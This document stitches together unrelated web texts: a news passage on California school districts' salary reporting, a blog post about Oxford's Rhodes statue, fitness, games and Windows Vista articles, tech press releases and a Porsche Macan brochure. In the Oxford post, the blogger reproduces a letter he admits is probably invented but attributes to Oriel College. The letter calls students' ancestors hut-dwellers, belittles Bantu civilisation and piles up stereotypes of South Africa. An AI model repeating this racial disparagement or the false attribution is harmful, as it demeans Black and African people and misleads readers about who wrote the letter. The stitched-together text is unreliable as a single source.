“While IUSD provided the state controller’s office salary information in 2015, IUSD continues to provide the public information about district salaries through the county department of education, Transparent California and on IUSD’s website rather than using the state controller’s voluntary system, which has onerous reporting and formatting requirements,” Irvine Unified spokeswoman Annie Brown wrote in an email.
Transparent California is a privately run website that gathers salary and benefit information from across the state, using public records requests.
“IUSD will continue to be transparent by reporting salary information to the Orange County Department of Education and by utilizing our website and Transparent California, which is the State’s largest and most comprehensive public pay and pension database,” Brown wrote.
In Riverside County, the list of those who failed to fully comply with the request for data includes Coachella Valley Unified, Nuview Union, Palo Verde Unified and Perris Elementary.
According to Jeff Simmons, the Chief Business Officer for Nuview Union, school districts already submit salary and benefits information that the state controller is asking for, but to the California Department of Education, which posts the data on its own site.
And in San Bernardino County, the list includes Baker Valley Unified, Desert Trails Preparatory Academy, the Grove School in Redlands, Lucerne Valley Unified, Mt. Baldy Joint Elementary, the Chino campus of Oxford Preparatory Academy, Snowline Joint Unified, Trona Joint Unified and Victor Valley Union High.
“In the past LVUSD has not reported the information since it was a voluntary report,” recently appointed Lucerne Valley Superintendent Peter Livingston wrote in an email. “With our change in staff, we do plan to participate in the reporting as we move forward to help ensure transparency.”
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Letter from Oxford
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The letter below came to me from Oxford University where I was a post-graduate.
I do not think it conceivable that the letter was actually written by Oriel College, or any authority at Oxford. This letter was written in exasperation by someone who feels that the civilized world has collapsed around him. This is a letter that the author of the letter wishes had been written.
By presenting the letter, I am not endorsing a make-believe letter or its point of view. My point is different. The world’s most famous university lacks the confidence to defend itself from from unreasonable demands made by students from its former colonies who desire to remove the association of Oriel College with its benefactor, Cecil Rhodes.
Yet, despite insufficient confidence to stand up to foreign students, England has mustered the confidence to align with Washington against the Muslim World and Russia. How do we explain this?
If the British still had enough confidence for an Oxford College to have penned such a letter, the British would not have forsaken their sovereignty and joined the European Union. What saved Cecil Rhodes stature at Oriel College was not Oxford but alumni who said they would cancel bequests of 100 million British pounds if the university succumbed to erasing its history in order to appease foreigners who claim to be offended by it. If they are offended, say the alumni, let them go elsewhere.
The future independence of universities is in doubt, especially those dependent on alumni support. Old grads are turned off by the erasure of what they remember. Recent grads are not experiencing the same success. A university degree no longer brings the same economic success that it did in the 20th century. A financialized and offshored capitalism has heavily redistributed income and wealth to the One Percent. One consequence is that the alumni donor base will shrink.
Moreover, the older generation of graduates, who made their money in the past, is constantly reminded by fund-raising materials that the college or university that they attended has been replaced by something else. What they experienced is gone. Oxford colleges were segregated by gender and attended mainly by British. Today they are gender-integrated and multi-cultural. Judging from photos in fund-raising materials, at Oxford the British appear to be a minority.
Instead of warm and fuzzy feelings, old grads feel dispossessed. The psychological effect on those who experienced a different Oxford environment is similar to returning to the site of your grandparents farm and finding a subdivision, a bedroom community for a once distant city. The creek you explored is now inside a pipe buried under back yards, and the trees you climbed are cut down. You feel a loss. This is what many alumni feel when they experience the transformation of their educational institution. They experience a loss of association, which is not a racist or sexist response.
As survivors of an era in which economic success was more broadly based pass away, colleges and universities will turn increasingly to corporations and the One Percent for funds. These donors will extract a price. Colleges and universities will be suborned, as the media and politicians are today, to serve the powerful interests on which they are dependent.
We might think that this is what the Oxford alumni are doing when they threatened to withhold bequests, but it is not. The alumni are not saying what is to be taught and not taught or how things are to be explained. The alumni are saying that it is impermissible to destroy history by throwing it into Orwell’s memory hole. Oxford alumni have had to accept so much change and now the physical image itself, the historical landmarks, are to be thrown away. The result is that nothing any longer corresponds to their memories. Their association with their college and the university becomes severed.
There is no doubt that the British and US governments have ground under their feet many peoples. But history is history. We have to live with it and try to make the future better. We cannot substitute for history our view of what should have happened.
Here is the letter that indicates more British confidence than actually exists:
This letter is a response from Oxford to Black Students, some of whom are
attending as Rhodes Scholars, who are demanding the removal
of the statue of their and Oxford’s benefactor, Cecil Rhodes.
Subject: OXFORD – THE FIGHT BACK HAS BEGUN
Interestingly, Chris Patten (Lord Patten of Barnes), The
Chancellor of Oxford University, was on the Today Programme
on BBC Radio 4 yesterday on precisely the same topic. The
Daily Telegraph headline yesterday was “Oxford will not
rewrite history”.
Patten commented ““Education is not indoctrination. Our
history is not a blank page on which we can write our own
version of what it should have been according to our
contemporary views and prejudice.”
Rhodes Must Fall
“Dear Scrotty Students,
“Cecil Rhodes’s generous bequest has contributed greatly to
the comfort and well being of many generations of Oxford
students – a good many of them, dare we say it, better,
brighter and more deserving than you.
“This does not necessarily mean we approve of everything
Rhodes did in his lifetime – but then we don’t have to.
Cecil Rhodes died over a century ago. Autres temps, autres
moeurs. If you don’t understand what this means – and it
would not remotely surprise us if that were the case –
then we really think you should ask yourself the question:
‘Why am I at Oxford?’
“Oxford, let us remind you, is the world’s second oldest
extant university. Scholars have been studying here since at
least the 11th century. We’ve played a major part in the
invention of Western civilisation, from the 12th century
intellectual renaissance through the Enlightenment and
beyond. Our alumni include William of Ockham, Roger Bacon,
William Tyndale, John Donne, Sir Walter Raleigh, Erasmus,
Sir Christopher Wren, William Penn, Samuel Johnson,
Robert Hooke, William Morris, Oscar Wilde,
Emily Davison, and Cardinal Newman. We’re a big
deal. And most of the people privileged to come and study
here are conscious of what a big deal we are. Oxford is
their alma mater – their dear mother – and they respect
and revere her accordingly.
“And what were your ancestors doing in that period? Living in
mud huts, mainly. Sure we’ll concede you the short-lived
Southern African civilisation of Great Zimbabwe. But let’s
be brutally honest here. The contribution of the Bantu
tribes to modern civilisation has been as near as damn it to
“You’ll probably say that’s ‘racist.’ But it’s what
we here at Oxford prefer to call ‘true.’ Perhaps the
rules are different at other universities. In fact, we know
things are different at other universities. We’ve watched
with horror at what has been happening across the pond from
the University of Missouri to the University of Virginia and
even to revered institutions like Harvard and Yale: the
‘safe spaces;’ the blacklivesmatter; the creeping
cultural relativism; the stifling political correctness;
what Allan Bloom rightly called ‘the closing of the
American mind.’ At Oxford however, we will always prefer
facts and free, open debate to petty grievance-mongering,
identity politics and empty sloganeering. The day we cease
to do so is the day we lose the right to call ourselves the
world’s greatest university.
“Of course, you are perfectly within your rights to squander
your time at Oxford on silly, vexatious, single-issue
political campaigns. (Though it does make us wonder how
stringent the vetting procedure is these days for Rhodes
scholarships and even more so, for Mandela Rhodes
scholarships.) We are well used to seeing undergraduates –
or, in your case – postgraduates, making idiots of
themselves. Just don’t expect us to indulge your idiocy,
let alone genuflect before it. You may be black –
“BME” as the grisly modern terminology has it – but we
are colour blind. We have been educating gifted
undergraduates from our former colonies, our Empire, our
Commonwealth and beyond for many generations. We do not
discriminate over sex, race, colour or creed. We do,
however, discriminate according to intellect.
“That means, inter alia, that when our undergrads or post
grads come up with fatuous ideas, we don’t pat them on the
back, give them a red rosette and say: “Ooh, you’re
black and you come from South Africa. What a clever chap you
are!” No. We prefer to see the quality of those
ideas tested in the crucible of public debate. That’s
another key part of the Oxford intellectual tradition you
see: you can argue any damn thing you like but you need to
be able to justify it with facts and logic – otherwise
your idea is worthless.
“This ludicrous notion you have that a bronze statue of Cecil
Rhodes should be removed from Oriel College, because it’s
symbolic of ‘institutional racism’ and ‘white
slavery’ — well even if it is – which we dispute – so
bloody what? Any undergraduate so feeble-minded that they
can’t pass a bronze statue without having their ‘safe
space’ violated really does not deserve to be here. And
besides, if we were to remove Rhodes’s statue on the
premise that his life wasn’t blemish-free, where would we
stop? As one of our alumni, Dan Hannan, has pointed out,
Oriel’s other benefactors include two kings so awful –
Edward II and Charles I – that their subjects had them
killed. The college opposite – Christ Church – was built
by a murderous, thieving bully who bumped off two of his
wives. Thomas Jefferson kept slaves: does that invalidate
the US Constitution? Winston Churchill had unenlightened
views about Muslims and India: was he then the wrong man to
lead Britain in the war?
“Actually, we’ll go further than that. Your Rhodes Must
Fall campaign is not merely fatuous but ugly, vandalistic
and dangerous. We agree with Oxford historian R.W. Johnson
that what you are trying to do here is no different from
what ISIS and the Al-Qaeda have been doing to artefacts in
places like Mali and Syria. You are murdering history.
“And who are you, anyway, to be lecturing Oxford University
on how it should order its affairs? Your rhodesmustfall
campaign, we understand, originates in South Africa and was
initiated by a black activist who said in one of his lecturers
‘whites have to be killed.’ One of you – Sizwe
Mpofu-Walsh – is the privileged son of a rich politician
and a member of a party whose slogan is ‘Kill the Boer,
Kill the Farmer.’ Another of you, Ntokozo Qwabe, who is
only in Oxford as a beneficiary of a Rhodes scholarship, has
boasted about the need for ‘socially conscious black
students’ to ‘dominate white universities, and do so
ruthlessly and decisively.’
“Great. That’s just what Oxford University needs. Some
cultural enrichment from the land of Winnie Mandela, burning
tyre necklaces, an AIDS epidemic almost entirely the result
of government indifference and ignorance, one of the
world’s highest per capita murder rates, institutionalised
corruption, tribal politics, anti-white racism and a
collapsing economy. Please name which of the above items you
think will enhance the lives of the 22,000 students studying
here at Oxford.
“And then please explain what it is that makes your attention
grabbing campaign to remove a listed statue from an Oxford
college more urgent, more deserving than the desire of
probably at least 20,000 of those 22,000 students to enjoy
their time here unencumbered by the irritation of spoilt,
ungrateful little tossers on scholarships they clearly
don’t merit using racial politics and cheap guilt-tripping
to ruin the life and fabric of our beloved university.
“Understand us and understand this clearly: you have
everything to learn from us; we have nothing to learn from
Oriel College, Oxford
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How Exercise Makes You Smarter, Happier, and Less Stressed
I confess, I am definitely a sedentary, a "taong bahay" person. I'm happy at home, even when my wife and daughter is at my home province. My hobby is playing computer games and watching movies at home.
I know I need to exercise, not just to slim down, but also for my health. I do walk a bit, as well as ride my bike to work, but I know its not enough. I barely even perspire. Why is it so hard for most of us to exercise?
"We need to move," says Ratey of our evolutionary baggage, early in the talk. "It's only 10,000 years ago that we were hunter-gatherers and we moved anywhere from 10 to 14 miles a day."
That's the bottom line for physical fitness, but science is beginning to show that it's equally true for our mental health. Ratey lays out an incredible amount of research showing the amazing things exercise does for our mood and cognitive function, as well as exactly how these positive effects work.
Smarter.
These days, test-obsessed schools are often swapping gym for academics. Bad idea, insists Ratey. Why? Not just because sitting around makes kids fat and unhealthy. "The more fit you are, the better student you are," he explains.
There are tons of studies to back this up, including one looking at 2.6 million kids in Texas, which found a strong correlation between fitness levels and grades. That's regardless of demographic factors like race, gender, or parents' income.
But the real clincher, according to Ratey, is a Swedish study that looked at 1.2 million boys, who were evaluated at 15 for fitness and IQ, and then tested again when they began compulsory military service at 18. The results: if they got fitter, they also got smarter. That was even true of identical twins. If one exercised but the other didn't, the one that moved showed a cognitive benefit that the one who sat around didn't. This was clearly down to the exercise and not anything inborn. "We know exercise improves our ability to think," concludes Ratey.
Looking for motivation to move today? Even just standing up starts positive processes in the body and brain. "We know from studies, when we stand our brains are a little bit better, maybe 7 percent better than when we're sitting," Ratey says. Regular exercise is best, but just standing up is a good start.
Happier.
Exercise just doesn't fire up our brains, making us smarter. It also changes the chemistry inside our skulls, making us happier. In fact, according to one study out of Duke, exercise works just as well at treating depression as the common anti-depressant Zoloft.
"Exercise does the same kind of thing that many of our medicines do. A bout of exercise is like taking a little bit of Prozac and a little bit of Ritalin," explains Ratey, noting that, like drugs such as Zoloft, exercise increases the amount of neurotransmitters in our brains.
Less stressed.
That's not the only way exercise physically affects our brains, impacting our mental health. It also speeds the incredible process of neurogenesis, actually helping us grow new brain cells. Meditation, learning, and laughing all increase the amount of new cells being born, but exercise is best, Ratey says.
These new cells tend to damp down our stress response. "The fitter you are, the more stress it takes to get you stressed," reports Ratey. And other physical processes combine to help make exercise a fabulous stress buster. Apparently, working out also spurs the release of something called ANP, for instance, which helps damp down panic.
Listening to Ratey, it's easy to be convinced that you really should exercise more -- not just for your body, but also for your brain. But what if you worry these research results aren't for you -- that you're too old or unfit to start an exercise program now?
Tough luck, responds Ratey, pointing to Mr. Singh, a marathoner who started running at the ripe age of 89 and continued past his 100th birthday. "Evolution has built in our ability to change at any time if we go for it," declares Ratey. "There's really no excuse."
Want many more details? Then watch the complete talk below.
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Day of the Tentacle Remastered is coming early next year, check out some pixel-smooth screens
After remastering Grim Fandango, Tim Schafer and his team over at Double Fine are applying their talents to another classic LucasArts adventure: Day of the Tentacle. The 1993 point-and-click is coming to PC and Mac early 2016.
The remastered version follows in the footsteps of the Monkey Island re-releases from a few years back, with the modern version filled with new, hand-drawn hi-res artwork which can be toggled between the old pixel art whenever you feel like stepping back two decades.
The remaster also gives a new coat of paint to the sound and interface, and comes complete with an audio commentary from Tim Schafer, Dave Grossman, Larry Ahern, Peter Chan, Peter McConnell, and Clint Bajakian. As an added bonus, the game also comes with the original Maniac Mansion, to which Day of the Tentacle is a sequel.
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By John Clyman
September 13, 2005 3:00PM EST
Windows Vista is starting to look more appealing. During our hands-on testing of Vista build 5219, which Microsoft is handing out this week at its Professional Developers Conference in Los Angeles, we were able to try out a number of new features and observe some slick-looking interface enhancements. Build 5219 takes advantage of WPF (Windows Presentation Framework, formerly known as Avalon) to provide visual cues that make it easier to navigate between multiple open applicationsand, frankly, more fun. It expands the search box embedded in the Start menu to let you kick off a search of the entire PC or of the Internet. And it enhances a number of security and administrative features and turns on User Account Protection by default.
Microsoft released beta 1 of Windows Vista, the next-generation operating system formerly known by the code name Longhorn, just six weeks ago. With the large-scale beta 2 release still months away, Microsoft is dubbing this interim release a "community technology preview." Microsoft says it will release a new CTP approximately once a month to help give beta testers a look at the progress the company is making toward releasing the OS. CTPs will be available to the same audience as beta 1, which includes MSDN (Microsoft Developer Network) subscribersmore than 500,000 potential users in all.
In addition to releasing build 5219, Microsoft has also disclosed more about what future Vista builds will include. The Sidebar, a feature we saw in Windows Vista alpha releases but that disappeared in beta 1, will be coming back. Notably, its components will be able to float anywhere on the desktop, not just be locked into tiles within the Sidebar itself. Microsoft has also announced some additional capabilities that will be available in Internet Explorer 7, the standard browser in Windows Vistain particular, a "guide tab" feature that offers thumbnails of all the open tabs in the browser.
Microsoft has also confirmed that a beta of a new version of Windows Media Player will ship within Vista beta 2, perhaps even as early as the next CTP release. WMP 11 will include a new user interface but will retain the existing WMP codec.
There were some new interface goodies inside Build 5219, including true 3D windows views (with properly skewed video), thumbnail views for desktop apps and Internet Explorer 7 tabs, and a semi-transparent Taskbar. In the functionality area, we found a somewhat pumped up Start menu search (now your query will search the Web, too) and more powerful secure startup, which, on machines with a TPM, encrypts the entire hard drive.
Vista build 5219 is still clearly an early beta release. Although we found it usable for many day-to-day tasks, we also encountered glitches regularly. Resuming from sleep was particularly crash-prone in our experience.
Take our guided tour to see some of the new features in build 5219 for yourself.
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Limited-Edition PS4 Destiny Bundle Arrives Sept. 15
The bundle comes with a white Destiny-inspired 500GB PS4 and a copy of Destiny: The Taken King Legendary Edition.
By Angela Moscaritolo
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Sony has a new limited-edition Destiny bundle, and it's much snazzier looking than the one from last year.
Available on Sept. 15, the package comes with a white Destiny-inspired 500GB PlayStation 4 along with a physical copy of Destiny: The Taken King Legendary Edition, which includes Destiny, Expansions I and II, and The Taken King.
You'll also get an upgrade to the Digital Collector's Edition, which includes three exotic Guardian class items with XP bonuses, three classic-specific emotes, three armor shaders, and the early access weapons pack.
As you can see from the image above, the PS4 included with this bundle sports a map of the cosmos in silver along with the Guardian's crest set in gold in the center. Last year's Destiny PS4 bundle included a plain white model.
Destiny: The Taken King adds content like a new Campaign adventure, Guardian sub-classes, rewards, weapon, maps, and more.
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"If you haven't jumped into Destiny yet, this is a great opportunity to catch up since it gives you all content from launch," Sony said in a blog post. "Also, existing players on PS3 can update to this version on PS4 without losing any progress."
There's no word on price yet, but last year's Destiny PS4 bundle went for $450. Separately, a 500GB PS4 sets you back $400; The Taken King Legendary Edition is $60 while the Digital Collector's Edition sells for $80.
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Toshiba Imaging Announces Price Breakthrough On High Def CMOS Camera Models
Source: Toshiba Imaging Systems Division
Irvine, CA – Toshiba Imaging Systems Division, the global leader in high definition (HD) camera technology and 3CCD industrial and scientific cameras, announces a price breakthrough representing a 20 % (twenty percent) price reduction on five of their recently introduced, high-definition CMOS cameras.
According to Vince Giovinco, National Sales Manager of Toshiba Imaging Systems Division, "Due to higher than expected sales volume, combined with our company's commitment to innovative manufacturing techniques, we are able to offer this substantial price reduction on five of our most popular HD CMOS camera models. We are delighted to pass along these savings to our customers."
Toshiba's one-piece IK-HR1S is an ultra-compact (1.75 in. x 1.75 in. x 3 in.), HD-SDI camera that has selectable outputs between 1080i and 720p at 50 Hz or 60 Hz video. The 2.1 mega pixel CMOS sensor is versatile and easy to integrate with the C-mount lens feature.
The IK-HR1D camera model features full, high-definition resolution at 1920 x 1080 pixels at 60 frames per second. With selectable outputs of 1080i or 1080p, this small, one-piece CMOS HD camera has both digital DVI output and an analog 8-bit RGB interface.
Toshiba's third HD CMOS camera, the IK-HR1H, features an ultra small remote head (only 1.18 in. x 1.37 in. x 1.41 in.) housing. Two versions of this tiny, lightweight camera are also available for added flexibility in applications where space is limited. The first is the IK-HR1CD with the 8-bit (RGB) DVI-I connector and DVI-I with selectable outputs of 720p at 60 fps, 1080i at 30 fps, and 1080p at 60 fps. The IK-HR1CS version of the remote head CMOS camera offers HD-SDI version with 720p at 60 fps and 1080i at 30 fps.
All five models are ideally designed for broadcasting applications, such as entertainment, sports, reality TV, and 3D production. The new, affordable CMOS high definition models are also in use in aviation, microscopy, defense, diagnostics, and life sciences.
Toshiba Imaging Systems Division (Irvine, CA) is the premier supplier of high quality video cameras for machine vision, R&D and scientific applications. Advanced video imaging technology and high resolution cameras such as Toshiba's 3CCD color cameras and their remote head camera family has earned Toshiba America's Imaging Systems Division the distinctive reputation for offering the most advanced imaging solutions to the industrial and scientific communities.
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Sharp announce Dave Dwyer as New Supply Chain Head - Procurement News
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Sharp Imaging and Information Company of America (SIICA), a division of Sharp Electronics Corporation (SEC) has announced that Dave Dwyer will be promoted to the role of Vice President of Supply Chain and Operations.
Mr Dwyer brings more than 20 years of logistics and supply chain experience to his new role, having previously held management positions with Nabisco Biscuit Company and Kraft Foods before taking the moving to Sharp in 2002 as the Director of Supply Chain Planning.
Mike Marusic the Senior Vice President, SIICA Marketing and Operations made the following remarks on Mr Dwyer’s appointment, “Dave has done an outstanding job in his previous role running the SEC Logistics Group, through his efforts in working with all of the SEC business areas, he developed strong relationships across the organisation and with third-party partners in driving improvements to the logistics process.”
Dwyer will hold responsibility for the end-to-end supply chain management at Sharp. A direct focus will be given to enhancing alliances with the firms supply chain partners in support of the Sharp Consumer and Business Products companies. As part of an efficiency drive within the firms supply chain, Dwyer will lead a consolidated team comprised of members from various functional departments.
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Those who prefer to blaze a trail of their own don’t need to follow the lead of others. That´s how w...
Those who prefer to blaze a trail of their own don’t need to follow the lead of others. That´s how we feel about vehicles which are known as compact SUVs: five doors, five seats, all-wheel drive – and, of course, a higher sitting position. But aren’t they lacking a certain something?
Something that adds a little life, lets us enjoy a more intimate relationship with the road and delivers intense driving pleasure. A concept that boasts plenty of space for hobbies, leisure and sport. But no room for compromise. Compact, concentrated and intensive, but still powerful. Practical, but never ordinary.
It is by these standards that we created the Macan, and saw it emerge with six distinct guises. Each one a sports car. Each one unmistakable in its own segment. Each one a genuine Porsche – from design and driving dynamics to equipment specification. From our dynamic entry-level model to the ultra sporty S variant and the uprated GTS model or the Turbo, which sets performance standards in its vehicle class.
The new Macan Turbo makes up the leading edge of the series with the Performance Packet and a top speed of 272 km/h. With it, our engineers prove that the Macan Concept can keep on improving.
All Macan models are developed, tested and built in keeping with the Porsche philosophy. That’s where we take sporty style and performance from the racetrack and inject it into everyday driving. We make it as efficient as possible – and, of course, just as safe and comfortable. No efforts were spared until our engineers achieved their overriding development objective: the first sports car among compact SUVs.
The Macan – built for an intensive life in which the thirst for experience and thrills and spills are ever-present, and in which new challenges are a permanent driving force. Built for a life that refuses to be hemmed in by conventions and feels all the more authentic for it. Direct and intimate.
A sports car that gives us what we’re looking for, even in our everyday life: that feeling of being alive.
The Porsche Macan. Life, intensified.
The face of every model in the Macan range lays bare the dominant sporty genes of their hereditary l...
The face of every model in the Macan range lays bare the dominant sporty genes of their hereditary line. Markers include the characteristic headlights, which are recessed in the bonnet. The large, imposing air intakes of the front apron are just waiting to inhale life. Every single second.
The bonnet stretches through to the wheel arches. This lends the front a broad and powerful presence and reminds us of the legendary Porsche 917, which won countless victories in the early 1970s – including at the 24h of Le Mans, where it held the distance record for 39 years.
The side profile is typically Porsche. From this angle, every muscle appears flexed – like a predator ready to pounce. The roof line slopes distinctively down towards the rear, drawing the customary sports car contour that promises excellent aerodynamics. Our designers call it the Porsche flyline.
A visual highlight of the Macan is the sideblades. Not only do they set a sporty accent, their design pays homage to the 918 Spyder. They make the proportions of the doors appear slimmer and the flanks seem much sleeker and sportier. Sideblades are available with a paint finish in matt black, Lava Black, in the exterior colour of the vehicle or – for a particularly exclusive statement – in carbon. A high-gloss black finish is reserved exclusively for the Turbo Exterior Package.
In sizes of up to 21 inches, the wheels of the Macan are equally eye-catching. Each particular Macan model is recognisable by its brake calipers: black on the Macan, titanium grey on the S variants and red on the GTS and Turbo models. Typically Porsche.
The classic Porsche sports car design reveals itself at the rear: slender at the top, widening into broad shoulders above the rear wheels – a homage to the 911. The styling of the tailgate gives the rear end a particularly harmonious form. For convenience, the tailgate on all Macan models is equipped with an automatic powerlift function. The slimline LED taillights have three-dimensional proportions, which gives them an extraordinary appearance of depth – and captures your attention. The overall effect is to make the Macan look low, wide and thus intimate with the road – like any genuine Porsche. After all, a muscle-toned body is meant to be admired from the rear as well as the front.
Of course, our engineers took great care to ensure that the interior of the Macan is just as intensive with sports car sensations.
As a creator of sports cars, we know that driver and car must form a single entity. As such, you do ...
As a creator of sports cars, we know that driver and car must form a single entity. As such, you do not simply sit in the Macan – the ergonomic architecture integrates you into the vehicle. The three-dimensional arrangement of the controls lends the interior a cockpit-style layout. In typical Macan fashion, the sporty front seats convey a sense of height above the road but a firm connection with it.
This feeling can be experienced in an even more exclusive way – with the new Turbo interior package, available only for the Macan Turbo and in a choice of two contrasting colours: Rhodium Silver and Garnet Red. Eye-catching through and through: the black full leather interior with the use of Alcantara® on the seat centres, armrests, centre console and door armrests. The front and outer rear seat belts, the rev counter, the decorative stitching and the ‘turbo’ logo embroidered on the headrests are finished in the contrasting colour. So it goes to show once again: the Macan Turbo not only looks outstanding on the road – it is the epitome of exceptional exclusivity.
Profound sportiness is a question of inner attitude, and this is answered emphatically by the new GTS interior package – reserved exclusively for the Macan GTS. Stitching and seat belts, the rev counter and the ‘GTS’ logo in Carmine Red or Rhodium Silver lend the interior an even more dynamic tone. In addition, selected items upholstered, as standard, in Alcantara® highlight only too clearly the sporty genes that the Macan GTS has inherited.
The instrument panel, with its cluster of three dials, is always in view – just like in a classic sports car. In the centre: the rev counter. To the right: the instrument cluster display. This shows a range of useful information as well as a host of new functions introduced with the latest version of Porsche Communication Management (PCM).
Thanks to the ascending centre console – a typical feature of a sports car – you don’t have very far to reach from the steering wheel to the PDK gear selector and most important vehicle functions. The ignition lock, as ever, is closest to the door – typically Porsche.
The three-spoke multifunction Sports steering wheel is inspired by the design of the 918 Spyder – and an established motorsport principle: keep your hands on the wheel. Two manually operated and ergonomically positioned gearshift paddles enable fast and sporty gear changes.
Sound and navigation systems follow the ergonomics philosophy. Equipped with a high-resolution colour touchscreen, they offer intuitive ease of use.
With the versatile three-way split-folding rear bench seat – ratio 40 : 20 : 40 – you can adapt the Macan perfectly to your needs.
On the subject of customisation, you can make the interior even more individual thanks to a diverse selection of options. The palette of materials and finishes ranges from classic to sporty. For an exclusive ambience, you could have the interior of your Macan lined in leather in various ways or have the finish refined with elegant dark walnut. For a theme that places the emphasis on sport, choose Alcantara®, carbon or brushed aluminium. However you personalise the interior of your Macan, remember one thing: there are no limits.
Macan principle
Let’s begin at the heart. All engines are characterised not only by their impressive performance and...
Let’s begin at the heart. All engines are characterised not only by their impressive performance and high efficiency but, above all, by the typical resonance of Acoustic test chamber in Porsche Development Centre, Weissach their sound, making a particularly strong impression in conjunction with the optional sports exhaust system. The power of the new Macan models is transmitted to the road by active all-wheel drive. This system sets standards for driving dynamics and stability. Mixed tyres are fitted as standard – as seen on the 911 – to deliver even greater traction and agility.
Fitted as standard, 7-speed Porsche Doppelkupplung (PDK) lets you experience motorsport-style gear changes, which take place in milliseconds and with no interruption in the flow of power. The system also features a coasting mode, which reduces fuel consumption and emissions where the driving situation allows. To this end, the auto start/stop function, intelligent thermal management and many more efficiency-enhancing measures make a decisive contribution.
The steel spring suspension, fitted as standard, helps to provide the driving precision and performance typical of any Porsche. As an option (standard in the Macan Turbo and Macan GTS), it can be upgraded to include optional Porsche Active Suspension Management (PASM). At the push of a button, the shock absorbers respond even more precisely to the current driving style. An air suspension is available for even greater dynamic performance and a high level of ride comfort. With this suspension, the Macan sits 15 mm lower. The threeposition ride-height adjustment capability enables you to adapt it optimally to the driving situation.
Optional Porsche Torque Vectoring Plus (PTV Plus) lets you feel the Macan principle in every corner – and in a particularly intense way. Operating in conjunction with an electronically controlled rear differential lock, the system works by varying the torque distribution to the rear wheels and thereby significantly further improves handling and steering precision. It also increases the agility of the car when it attacks the corner.
Naturally, active safety also follows the Macan principle – and, in doing so, fulfils the requirements of a sports car. Integrated as standard, Porsche Stability Management (PSM) helps to ensure stability at the limits of sporty performance. Typically Porsche, the brakes set standards for deceleration.
Optional driver assistance systems relieve your workload so that you can have more fun. Adaptive cruise control, including Porsche Active Safe (PAS), regulates the speed of your vehicle in line with the speed of the vehicle in front. Lane Change Assist monitors your blind spots, while Lane Keeping Assist monitors your car’s distance to divider line markings on the road.
Intensive living can also be measured in bits and bytes – for example, with the new version of Porsche Communication Management (PCM) including optional navigation module. The optional Connect Plus module offers wireless Internet access and online navigation, featuring real-time traffic information in the map view of the navigation system (including GOOGLE® Earth and GOOGLE® Street View*). The module also comes with Apple® CarPlay, which you can use to access the apps of your iPhone® conveniently from the driver’s seat – using PCM or the voice control system.
So you see: being highly networked can also be the principle of a sports car. That's because, for us, staying true to one's principles is essential. The principle of power above all.
* The services real-time traffic information, GOOGLE® Street View and GOOGLE® Earth are offered free of charge for 12 months. Please visit www.porsche.com/connect if you wish to continue usage (subject to charge) after this period. A data-enabled SIM card and a separate, valid subscription to a mobile network provider (subject to charge) are required for use of these services and wireless Internet access.
The ‘S’ principle has a lot of history with Porsche vehicles. It embodies an especially sporty manif...
The ‘S’ principle has a lot of history with Porsche vehicles. It embodies an especially sporty manifestation of an idea, and it will thrill and excite you – and leaves out whatever does not reflect the sporting spirit.
What is not left out: the high performance of the Macan S. The 3.0-litre, V6 twin-turbo engine with its 250 kW (340 hp) enables a 0 to 100 km/ sprint in just 5.4 seconds. The top speed is 254 km/h. Numbers that will raise the hairs on the back of every sports car enthusiast.
The Macan S stands on 18-inch Macan S wheels. Its brake calipers are titanium grey. What's more, you can recognise this high-performance athlete by the ‘Macan S’ lettering on the tailgate, as well as on the aluminium door sill guards. Inside, you can read the sportiness from the speedometer with a silver-coloured dial.
For more sports spirit, for example, you can go for the optional Sport Chrono Package. It includes the SPORT PLUS button to give the engine even more bite at the push of a button. The chassis and gearbox also match the SPORT PLUS mode. In addition, the package has a stopwatch and Launch Control for the best-possible acceleration from a stop, e.g., on a circular track. In addition, standard Porsche Communication Management (PCM) will be supplemented by a performance display, for example, to show the lap times achieved and other driving data.
The Macan S. For an authentic encounter with intensity.
Highlights standard specification
SPORT button
18-inch Macan S wheels
Sideblades in Lava Black
Twin dual-tube tailpipes outside left and right in the specific Macan S Design
Electrically folding exterior mirrors
Tinted thermally insulated glass all around
Three-zone automatic climate control
Comfort seats with seat centres in Alcantara®
Electric seat adjustment (eight-way), driver´s side
Interior package in Piano Finish Black
Multifunction sports steering wheel with gearshift paddles
Porsche Communication Management (PCM)
Automatic tailgate
Selection of personalisation options
Air suspension including Porsche Active Suspension Management (PASM)
Porsche Torque Vectoring Plus (PTV Plus)
Power steering Plus
Wheels up to 21 inches
Sideblades in carbon
Bi-Xenon main headlights including Porsche Dynamic Light System (PDLS)
LED main headlights including Porsche Dynamic Light System Plus (PDLS Plus)
Adaptive sports seat with comfort memory package (18-way)
Porsche Communication Management (PCM) including navigation module
Connect module with Porsche Car Connect, smartphone compartment and Apple® CarPlay
Connect Plus module with telephone module, SIM card reader, wireless Internet access, online navigation, as well as numerous Porsche Connect services
BOSE® Surround Sound-System
Burmester® High-End Surround Sound-System
Drive concept:
3.0-litre twin-turbo V6 engine
250 kW (340 hp) at 5,500–6,500 rpm
Maximum torque: 460 Nm at 1,450–5,000 rpm
Acceleration from 0 to 100 km/h: 5.4 secs
Top speed: 254 km/h
Direct fuel injection (DFI)
VarioCam Plus
Auto start/stop function
Would you prefer to experience the gear change or the driving pleasure? No contest. The new Macan is...
Would you prefer to experience the gear change or the driving pleasure? No contest. The new Macan is equipped with the 7-speed PDK transmission, which changes gear in fractions of a second with no interruption in the flow of power. The advantage is that, whenever a particular gear is engaged, the next gear is already preselected. As the clutch of the engaged gear opens, the clutch of the target gear closes simultaneously. The effect is a sporty, dynamic and agile driving feel.
The principle of PDK is that, whenever a particular gear is engaged, the next gear is already preselected. As a result, gear changes take place within milliseconds.
Automatic mode is optimised for fuel economy. This means that PDK is able to offer not only a sporty, agile driving feel, but also increased efficiency.
Would you rather change gear manually? You can do this using the two gearshift paddles on the multifunction sports steering wheel, fitted as standard, or using the PDK gear selector.
In conjunction with the optional Sport Chrono Package, the shift times of PDK become even shorter, the gear changes even sportier. Additional gearshift strategies are also available – for uncompromising driving pleasure.
The tremendous dynamic performance of the new Macan is thanks in part to the Porsche Traction Manage...
The tremendous dynamic performance of the new Macan is thanks in part to the Porsche Traction Management (PTM) active all-wheel drive system. It comprises an electronic and map-controlled multi-plate clutch, the automatic brake differential (ABD) and anti-slip regulation (ASR). The electronically controlled multiplate clutch regulates the distribution of drive force between the rear axle and the front axle. Driving conditions are constantly monitored to enable a precise and lightning-quick response to a variety of situations.
